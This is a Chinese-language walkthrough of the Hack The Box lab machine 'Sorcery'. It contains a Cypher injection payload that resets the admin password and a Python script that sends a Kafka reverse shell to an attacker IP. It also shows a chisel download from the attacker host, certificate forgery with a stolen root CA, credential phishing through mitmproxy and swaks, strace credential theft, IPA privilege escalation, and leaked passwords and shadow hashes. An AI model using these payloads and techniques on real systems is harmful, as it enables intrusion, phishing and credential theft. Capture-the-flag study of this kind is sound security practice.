基本信息

端口扫描

22和443:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nmap -sC -sV -Pn 10.10.11.73
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-20 14:27 JST
Nmap scan report for sorcery.htb (10.10.11.73)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 79:93:55:91:2d:1e:7d:ff:f5:da:d9:8e:68:cb:10:b9 (ECDSA)
|_ 256 97:b6:72:9c:39:a9:6c:dc:01:ab:3e:aa:ff:cc:13:4a (ED25519)
443/tcp open ssl/http nginx 1.27.1
|_ssl-date: TLS randomness does not represent time
| http-title: Sorcery
|_Requested resource was /auth/login
| ssl-cert: Subject: commonName=sorcery.htb
| Not valid before: 2024-10-31T02:09:11
|_Not valid after: 2052-03-18T02:09:11
|_http-server-header: nginx/1.27.1
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.26 seconds

443

需要加hosts:

1
10.10.11.73 sorcery.htb

是一个需要登录的:

store

随意注册登录,是一个在线商城,商家需要注册码,所以先注册普通用户账号

子域名扫描

常规子域名扫描可以发现git:

1
2
3
ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "https://sorcery.htb/" -H 'Host: FUZZ.sorcery.htb' -fs 169

git [Status: 200, Size: 13591, Words: 1048, Lines: 272, Duration: 351ms]

git

添加hosts后访问,是一个gitea:

gitea

gitea里有一个可以公开访问的项目,看起来就是商店的代码:

并且issue里信息提示重点关注注入,说是大部分都已经修复了,那就是还有没修的:

Cypher Injection

翻代码也很容易发现产品id没做任何过滤,直接代入:

Cypher Injection

所以可以简单的直接通过Cypher Injection更改管理员密码,密码是argon2格式的,可以在线生成:

1
2
3
4
5
6
miaomiao
$argon2id$v=19$m=16,t=2,p=1$Unh2cnVjcngzaHZ4SkxJTg$auXNtyT9EhzqkLq4UtGgkg
"}) MATCH (u:User {username: 'admin'}) SET u.password = '$argon2id$v=19$m=16,t=2,p=1$Unh2cnVjcngzaHZ4SkxJTg$auXNtyT9EhzqkLq4UtGgkg' //
url编码

%22%7d%29%20%4d%41%54%43%48%20%28%75%3a%55%73%65%72%20%7b%75%73%65%72%6e%61%6d%65%3a%20%27%61%64%6d%69%6e%27%7d%29%20%53%45%54%20%75%2e%70%61%73%73%77%6f%72%64%20%3d%20%27%24%61%72%67%6f%6e%32%69%64%24%76%3d%31%39%24%6d%3d%31%36%2c%74%3d%32%2c%70%3d%31%24%55%6e%68%32%63%6e%56%6a%63%6e%67%7a%61%48%5a%34%53%6b%78%4a%54%67%24%61%75%58%4e%74%79%54%39%45%68%7a%71%6b%4c%71%34%55%74%47%67%6b%67%27%20%2f%2f

之后登录admin:

Admin passkey

尝试访问debug,提示需要通过passkey登录:

直接打开chrome开发者模式,右边三个点哪里更多工具选择WebAuthn,新建身份验证器:

然后在profile里选择enroll passkey:

退出登录后使用passkey登录,现在可以访问dbeug和dns:

kafka

在前面的代码里可以看到使用kafka

而debug可以向指定服务端口发送hex数据:

所以可以通过kafka运行命令:

打到容器内user:

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import struct
import binascii

def create_produce_request(topic, message,
correlation_id=1, client_id="",
partition=0):
# Produce API Key=0, Version=0
header = struct.pack(">hhI", 0, 0, correlation_id)
# clientId (empty string)
header += struct.pack(">h", len(client_id)) + client_id.encode()
# requiredAcks = -1 (all), timeout = 30000ms
header += struct.pack(">hI", -1, 30000)
# one topic
header += struct.pack(">i", 1)
# topic name ("update")
header += struct.pack(">h", len(topic)) + topic.encode()
# one partition
header += struct.pack(">i", 1)
header += struct.pack(">i", partition)
# build the single message
payload = message.encode()
key_data = struct.pack(">i", -1) # null key
value_data = struct.pack(">i", len(payload)) + payload
magic_attr = struct.pack("BB", 0, 0)
msg_body = magic_attr + key_data + value_data
crc = binascii.crc32(msg_body) & 0xffffffff
msg_struct = struct.pack(">I", crc) + msg_body
# wrap message in a MessageSet (offset=0)
message_set = struct.pack(">qI", 0, len(msg_struct)) + msg_struct
# prepend MessageSet length
header += struct.pack(">i", len(message_set)) + message_set
# finally, prepend the total request size
full_frame = struct.pack(">i", len(header)) + header
return binascii.hexlify(full_frame).decode()

# Configure reverse shell using /bin/sh via TCP
attacker_ip = "10.10.14.5"
attacker_port = int("4444")
payload = f"bash -c '/bin/sh -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'"

hex_request = create_produce_request("update", payload)
print("Hex-encoded Kafka Produce request for TCP reverse shell:\n")
print(hex_request)

Phishing to tom_summers

查看容器环境变量信息可以看到SUPERVISOR_GROUP_NAME=dns,是dns服务相关的,另外在admin页面blog里也可以看到钓鱼相关信息,里面提到tom是钓鱼目标用户,现在需要满足各种条件才会访问,子域名,证书签名,证书在FTP上等信息:

首先探测ftp服务器:

1
2
3
4
5
6
7
$ getent hosts ftp

172.19.0.6 ftp

$ getent hosts mail

172.19.0.9 mail

设置代理隧道:

1
2
3
4
5
6
7
# local
./chisel_1.7.0-rc7_darwin_amd64 server -p 9999 --reverse

# target
python3 -c "import urllib.request; open('chisel', 'wb').write(urllib.request.urlopen('http://10.10.14.5:7777/chisel_1.7.6_linux_amd64').read())"
chmod +x ./chisel
./chisel client 10.10.14.5:9999 R:socks

FTP

从FTP获取根证书:

1
2
3
4
proxychains4 lftp 172.19.0.6
lftp 172.19.0.6:/> cd pub
lftp 172.19.0.6:/pub> get RootCA.crt
lftp 172.19.0.6:/pub> get RootCA.key

dns

添加dns记录

1
2
3
echo "10.10.14.5 miao.sorcery.htb" >> /dns/hosts-user
./convert.sh
pkill -9 dnsmasq

ssl cert

根证书密码就是常规破解

1
2
3
4
5
6
7
8
9
10
11
12
13
openssl genrsa -out miao.sorcery.htb.key 2048


openssl req -new -key miao.sorcery.htb.key -out miao.sorcery.htb.csr -subj "/CN=miao.sorcery.htb"

# 密码 password
openssl rsa -in RootCA.key -out RootCA-unenc.key


openssl x509 -req -in miao.sorcery.htb.csr -CA RootCA.crt -CAkey RootCA-unenc.key -CAcreateserial -out miao.sorcery.htb.crt -days 365


cat miao.sorcery.htb.key miao.sorcery.htb.crt > miao.sorcery.htb.pem

钓鱼

1
2
3
4
mitmproxy --mode reverse:https://git.sorcery.htb --certs miao.sorcery.htb.pem --save-stream-file traffic.raw -k -p 443

# 这里因为reset改变了mail server的ip
proxychains4 -q swaks --to tom_summers@sorcery.htb --from nicole_sullivan@sorcery.htb --server 172.19.0.8 --port 1025 --header "Subject: Hello Tom" --body "Please check this link: https://miao.sorcery.htb/user/login"

查看捕获的数据,得到了tom_summers

1
2
user_name: tom_summers
password: jNsMKQ6k2.XDMPu.

user flag

tom_summers ssh登录:

tom_summers_admin

常规翻文件,发现/xorg/xvfb/Xvfb_screen0,下载下来转换后查看内容:

1
scp tom_summers@10.10.11.73:/xorg/xvfb/Xvfb_screen0 .

自动识别有问题,文件改成xsd后缀,转换后图片中得到tom_summers_admin密码

1
2
tom_summers_admin
dWpuk7cesBjT-

切换过去,可以看到允许sudo运行docker和strace:

strace to rebecca_smith

那就很容易想到,strace docker,然后login时候获取认证信息:

1
2
3
4
5
6
# 两个ssh窗口,一个strace,一个login
./strace.sh

sudo -u rebecca_smith /usr/bin/docker login

-7eAZDp9-f9mg

rebecca_smith

上面得到的secret就是rebecca_smith密码,ssh登录:

strace.sh

1
2
3
4
5
6
7
8
9
while true; do 
pid=$(pgrep -u rebecca_smith -f docker-credential-docker-auth)
if [ -n "$pid" ]; then
echo "[*] Attaching to PID $pid"
sudo -u rebecca_smith strace -s 128 -p "$pid" 2>&1 | tee /tmp/creds.leak
break
fi
sleep 0.05
done

rebecca_smith to ash_winter(非预期?)

rebecca_smith常规运行pspy得到ash_winter密码(大量命令很长时间才会出现这一条,10分钟出现一次):

1
2025/06/20 08:32:27 CMD: UID=1638400000 PID=254965 | /usr/bin/python3 -I /usr/bin/ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep

ssh登录会提示修改密码,sudo可以重启sssd:

IPA to root

查看用户目录可以发现IPA相关的,搜索可以知道是Linux上使用kerberos认证用的,上面看到sudo重启的sssd也是kerberos相关的,所以后面就是这部分:

查看用户可以发现有add_sysadmin角色:

sysadmin

那就先添加为sysadmin,添加之后再次检查发现有manage_sudorules_ldap

1
2
3
ipa group-add-member sysadmins --users=ash_winter

ipa user-show ash_winter

sudo

所以就继续添加sudo权限,添加完成后重启sssd服务,退出重新登录刷新kerberos ticket,可以发现可以无限制sudo了:

1
2
3
ipa sudorule-add-user allow_sudo --users=ash_winter

sudo /usr/bin/systemctl restart sssd

root flag

直接切到root即可:

shadow

1
2
3
4
5
root:$y$j9T$uARPeh9eNYp8lmc7j1yn3.$kFW1vAuJDh0mdQMobTjnUaqMhjiQDWDf7.E5rn4MGrA:20027:0:99999:7:::
user:$y$j9T$MCBtCUfCG6N3kGK7d/mnK0$ttcRlL8zh7bKEfBqQLHeOg8z4RRpbCUNS/Y4nHdti70:20027:0:99999:7:::
tom_summers:$y$j9T$ZgIta8NVQciOoj0o6wyzN1$t0NsMo3iUg9CesbdRwovVMx3XCi5Fzjj/cL.kiASid/:20027::::::
tom_summers_admin:$y$j9T$xdMvofwsIrlzDXn1lcEj10$oLkCrlTD7UiLu55F/tpNdk.PIvAme9s0vE/5VqqqV7.:20027::::::
rebecca_smith:$y$j9T$Fcu4jakUQoutyXR2ovau01$BgcnYB1FU7JsnzvsTItA7IW/Al4.LOszOT1.ISISYg/:20027::::::

参考资料